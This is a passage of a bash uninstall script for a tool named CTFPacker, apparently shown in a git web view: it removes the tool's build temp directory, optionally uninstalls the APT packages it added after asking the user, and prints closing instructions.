# STEP 4 — Remove build artifacts
|
||||
# =============================================================================
|
||||
log_banner "STEP 4 — Removing build artifacts"
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
CTFPACKER_TMP="$SCRIPT_DIR/Linux/.ctfpacker"
|
||||
|
||||
if [[ -d "$CTFPACKER_TMP" ]]; then
|
||||
rm -rf "$CTFPACKER_TMP"
|
||||
log_success "Build temp dir removed: $CTFPACKER_TMP"
|
||||
else
|
||||
log_warn "No build temp dir found — skipping."
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# STEP 5 — APT packages (optional)
|
||||
# =============================================================================
|
||||
log_banner "STEP 5 — APT packages (optional)"
|
||||
|
||||
APT_PKGS=(
|
||||
clang
|
||||
lld
|
||||
nasm
|
||||
mingw-w64
|
||||
osslsigncode
|
||||
pipx
|
||||
)
|
||||
|
||||
echo -e "${YELLOW}${BOLD}The following APT packages were installed by CTFPacker:${NC}"
|
||||
printf ' %s\n' "${APT_PKGS[@]}"
|
||||
echo ""
|
||||
echo -e "${YELLOW} WARNING: These may be used by other tools on your system.${NC}"
|
||||
echo ""
|
||||
read -rp "$(echo -e "${BOLD}Remove these APT packages? [y/N] ${NC}")" REMOVE_APT
|
||||
|
||||
if [[ "$REMOVE_APT" =~ ^[Yy]$ ]]; then
|
||||
log_info "Removing APT packages..."
|
||||
DEBIAN_FRONTEND=noninteractive apt-get remove -y "${APT_PKGS[@]}" 2>/dev/null || true
|
||||
apt-get autoremove -y 2>/dev/null || true
|
||||
log_success "APT packages removed."
|
||||
else
|
||||
log_warn "APT packages kept."
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# Summary
|
||||
# =============================================================================
|
||||
echo ""
|
||||
echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}"
|
||||
echo -e "${BOLD}${GREEN} Uninstall complete!${NC}"
|
||||
echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}The CTFPacker source directory was NOT removed.${NC}"
|
||||
echo -e " To fully delete it: ${YELLOW}rm -rf $SCRIPT_DIR${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}Reload your shell to clear the aliases:${NC}"
|
||||
echo -e " ${YELLOW}source ~/.bashrc${NC} or open a new terminal"
|
||||
echo ""
|
||||
Reference in New Issue
Block a user